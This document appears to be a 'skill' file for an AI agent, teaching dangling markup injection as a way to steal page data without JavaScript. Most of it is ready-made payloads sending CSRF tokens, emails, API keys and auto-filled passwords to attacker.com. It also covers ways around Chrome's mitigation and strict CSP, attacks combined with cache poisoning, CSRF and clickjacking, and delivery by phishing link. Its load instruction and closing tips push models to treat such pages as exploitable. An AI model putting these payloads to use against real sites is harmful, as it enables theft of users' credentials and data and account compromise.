Dangling Markup Injection

SKILL: Dangling Markup Injection — Exfiltration Without JavaScript

AI LOAD INSTRUCTION: Covers dangling markup exfiltration via unclosed img/form/base/meta/link/table tags, what can be stolen (CSRF tokens, pre-filled form values, sensitive content), browser-specific behavior, and combinations with other attacks. Base models often overlook this technique entirely when CSP blocks scripts, jumping to "not exploitable" — dangling markup is the answer.

0. RELATED ROUTING

• xss-cross-site-scripting when full XSS is possible (no need for dangling markup)
• csp-bypass-advanced when CSP blocks JS execution — dangling markup bypasses script restrictions
• csrf-cross-site-request-forgery when dangling markup steals CSRF tokens for subsequent CSRF attacks
• crlf-injection when CRLF enables HTML injection in HTTP response
• web-cache-deception when dangling markup + cache poisoning amplifies the attack

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1. WHEN TO USE DANGLING MARKUP

You need dangling markup when ALL of these are true:

1. You have an HTML injection point (reflected or stored)
2. JavaScript execution is blocked:
   • CSP blocks inline scripts and event handlers
   • Sanitizer strips <script>, onerror, onload, etc.
   • WAF blocks known XSS patterns
3. The page contains sensitive data AFTER your injection point:
   • CSRF tokens
   • Pre-filled form values (email, username, API keys)
   • Session identifiers in hidden fields
   • Sensitive user content

Core insight: You don't need JavaScript to exfiltrate data — you just need the browser to make a request that includes the data in the URL.

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2. CORE TECHNIQUE

Inject an unclosed HTML tag with a src, href, action, or similar attribute pointing to your server. The unclosed attribute quote "consumes" all subsequent page content until the browser finds a matching quote.

Page before injection:
  <div>Hello USER_INPUT</div>
  <form>
    <input type="hidden" name="csrf" value="SECRET_TOKEN_123">
    <input type="text" name="email" value="user@target.com">
  </form>

Injected payload:
  <img src="https://attacker.com/collect?

Resulting HTML:
  <div>Hello <img src="https://attacker.com/collect?</div>
  <form>
    <input type="hidden" name="csrf" value="SECRET_TOKEN_123">
    <input type="text" name="email" value="user@target.com">
  </form>
  ...rest of page until next matching quote (")...

The browser interprets everything from https://attacker.com/collect? until the next " as the URL. The hidden CSRF token and email value become part of the URL query string sent to attacker.com.

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3. EXFILTRATION VECTORS

3.1 Image Tag (Most Common)

<!-- Double-quote context -->
<img src="https://attacker.com/collect?

<!-- Single-quote context -->
<img src='https://attacker.com/collect?

<!-- Backtick context (IE only, legacy) -->
<img src=`https://attacker.com/collect?

The browser sends a GET request to attacker.com with all consumed content as query parameters.

Blocked by: img-src CSP directive

3.2 Form Action Hijack

<form action="https://attacker.com/collect">
<button>Click to continue</button>
<!--

If the page has form elements after the injection point, the next </form> closes the attacker's form. All input fields between become part of the attacker's form → submitted to attacker on user interaction.

Blocked by: form-action CSP directive

Trick: Even without user interaction, if there's an existing submit button or JavaScript auto-submit, the form submits automatically.

3.3 Base Tag Hijack

<base href="https://attacker.com/">

All subsequent relative URLs on the page resolve to attacker's server:

• <script src="/js/app.js"> → loads https://attacker.com/js/app.js
• <a href="/profile"> → links to https://attacker.com/profile
• <form action="/submit"> → submits to https://attacker.com/submit

Blocked by: base-uri CSP directive

3.4 Meta Refresh Redirect

<meta http-equiv="refresh" content="0;url=https://attacker.com/collect?

Redirects the entire page to attacker's server with consumed page content in the URL.

Blocked by: navigate-to CSP directive (rarely set), some browsers ignore meta refresh when CSP is present.

3.5 Link/Stylesheet Exfiltration

<link rel="stylesheet" href="https://attacker.com/collect?

Browser requests the URL as a CSS resource, leaking consumed content.

Blocked by: style-src CSP directive

3.6 Table Background (Legacy)

<table background="https://attacker.com/collect?

Works in older browsers that support the background attribute on table elements.

Blocked by: img-src CSP directive

3.7 Video/Audio Poster

<video poster="https://attacker.com/collect?
<audio src="https://attacker.com/collect?

Blocked by: media-src / img-src CSP directives

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4. WHAT CAN BE STOLEN

Target Data	How It Appears in Page	Steal Technique
CSRF token	<input type="hidden" name="csrf" value="...">	Dangling <img src= before the form
Pre-filled email	<input value="user@example.com">	Dangling tag before the input
API keys in page	var apiKey = "sk-..." in inline script	Dangling tag before the script block
Session ID in hidden field	<input name="session" value="...">	Dangling tag before the form
Auto-filled passwords	Browser auto-fills password field	<form action=attacker> with matching input names
OAuth state/tokens	In URL parameters or hidden form fields	Dangling tag on authorization page
Internal URLs/paths	Links, script sources, API endpoints	<base> tag hijack captures all relative URLs

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5. BROWSER-SPECIFIC BEHAVIOR

Browser	Behavior
Chrome/Chromium	Blocks dangling markup in <img> src containing < or newlines (since Chrome 60). Still allows <form action>, <base>, <link>.
Firefox	More permissive with dangling markup in image sources. Allows newlines in attribute values.
Safari	Similar to Chrome's restrictions. May handle some edge cases differently.
Edge (Chromium)	Same as Chrome behavior.

Chrome Mitigation Detail

Chrome blocks navigation/resource load when the URL attribute value contains:

• < character (indicates HTML tag consumption)
• Newline characters (\n, \r)

Bypass: Use <form action> instead of <img src> — Chrome's block only targets specific tags.

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6. ADVANCED TECHNIQUES

6.1 Selective Consumption

Choose quote type strategically: if page uses " for attributes, inject with ' (and vice versa) to precisely control where consumption stops.

6.2 Textarea + Form Combo

<form action="https://attacker.com/collect"><textarea name="data"> — unclosed textarea eats all subsequent HTML as plaintext; form submission sends it to attacker.

6.3 Comment / Style Dangling

• <!-- without closing --> consumes all content (no exfil, but hides page content)
• <style> unclosed treats page as CSS; combine with @import url("https://attacker.com/? for exfil

6.4 Window.name via iframe

<iframe src="https://target.com/page" name=" — name attribute consumes content, and window.name persists across origins after navigation.

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7. LIMITATIONS

Limitation	Detail
Same-origin content only	Dangling markup only captures content from the same HTTP response
Quote matching	Consumption stops at the next matching quote character — may not reach target data
CSP img-src/form-action	Strict CSP can block most exfiltration vectors
Chrome's dangling markup mitigation	Blocks <img src= with < or newlines in URL
Injection point must be before target data	Can only capture content that appears after the injection in HTML source order
Content encoding	URL-unsafe characters in captured content may be mangled

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8. COMBINATION ATTACKS

8.1 Dangling Markup + Open Redirect

1. Inject <img src="https://target.com/redirect?url=https://attacker.com/collect?
2. Open redirect on target.com makes the request "same-origin" for some CSP checks
3. Redirect sends captured data to attacker

8.2 Dangling Markup + Cache Poisoning

1. Find reflected HTML injection point
2. Inject dangling markup payload
3. If response is cached, ALL users see the dangling markup
4. Tokens/data from all victims exfiltrated

This turns a reflected injection into a stored/persistent attack.

8.3 Dangling Markup + CSRF

1. Use dangling markup to steal CSRF token from page
2. Use stolen token to perform CSRF attack
3. Allows CSRF even when tokens are properly implemented

8.4 Dangling Markup + Clickjacking

1. Inject <form action="https://attacker.com/collect"><textarea name="data">
2. Frame the page (if frame-ancestors allows)
3. Trick user into clicking "Submit" via clickjacking overlay
4. Form submits all captured page content to attacker

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9. DANGLING MARKUP DECISION TREE

HTML injection exists but XSS is blocked (CSP/sanitizer/WAF)?
│
├── Identify injection context
│   ├── Inside attribute value? → Break out first: "><img src="https://attacker.com/collect?
│   ├── Inside tag content? → Inject directly: <img src="https://attacker.com/collect?
│   └── Inside script block? → Close script first: </script><img src="...
│
├── What sensitive data exists AFTER injection point?
│   ├── CSRF tokens → HIGH VALUE: steal token → CSRF attack
│   ├── User PII (email, name) → data theft
│   ├── API keys / secrets → account compromise
│   ├── No sensitive data after injection → dangling markup not useful here
│   └── Check different pages — injection may be on a page with sensitive data
│
├── Choose exfiltration vector based on CSP
│   ├── No CSP / lax CSP → <img src="...  (simplest)
│   ├── img-src restricted?
│   │   ├── form-action unrestricted? → <form action="attacker"><textarea name=d>
│   │   ├── base-uri unrestricted? → <base href="attacker">
│   │   └── style-src unrestricted? → <link rel=stylesheet href="...
│   ├── Strict CSP on all directives?
│   │   ├── meta refresh? → <meta http-equiv="refresh" content="0;url=attacker?
│   │   ├── DNS prefetch? → <link rel=dns-prefetch href="//data.attacker.com">
│   │   └── Window.name via iframe? → <iframe name="...
│   └── Nothing works? → dangling markup blocked, try other approaches
│
├── Handle Chrome's dangling markup mitigation
│   ├── Target uses Chrome? → Avoid <img src= with < or newlines
│   ├── Use <form action=> instead (not blocked)
│   ├── Use <base href=> (not blocked)
│   └── Test in Firefox as fallback (more permissive)
│
├── Choose quote type for maximum capture
│   ├── Target data uses double quotes? → Inject with single quote: <img src='...
│   ├── Target data uses single quotes? → Inject with double quote: <img src="...
│   └── Mixed quotes? → Test both, see which captures more useful data
│
└── Amplification
    ├── Response cached? → Poison cache → steal from multiple victims
    ├── Stored injection? → Every page view exfiltrates
    └── Reflected only? → Deliver via phishing link

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10. TRICK NOTES — WHAT AI MODELS MISS

1. Dangling markup is THE answer when CSP blocks scripts but HTML injection exists. Models trained on XSS often conclude "not exploitable" when CSP is strict — dangling markup doesn't need JavaScript.
2. Chrome's mitigation is tag-specific, not universal: <img src= is mitigated, but <form action=, <base href=, <meta http-equiv=refresh> are NOT. Always try alternative vectors.
3. Quote type selection is critical: If the page uses " for attributes, inject with ' (or vice versa) to control exactly where consumption stops. Wrong quote type = capturing useless content or nothing.
4. Injection point placement matters enormously: The injection must appear BEFORE the target data in the HTML source. If CSRF token is above your injection point, dangling markup cannot capture it.
5. <textarea> is the most underrated vector: An unclosed textarea eats ALL subsequent HTML as plaintext. Combined with form action hijack, it's the most reliable method when img-src is restricted.
6. Window.name persists across origins: If you can inject an iframe, the name attribute technique is powerful because window.name survives cross-origin navigation — a rare cross-origin data channel.
7. DNS prefetch exfiltration works even under strict CSP: <link rel=dns-prefetch href="//stolen-data.attacker.com"> triggers a DNS lookup that CSP cannot block. Limited to ~253 characters per label, but sufficient for tokens.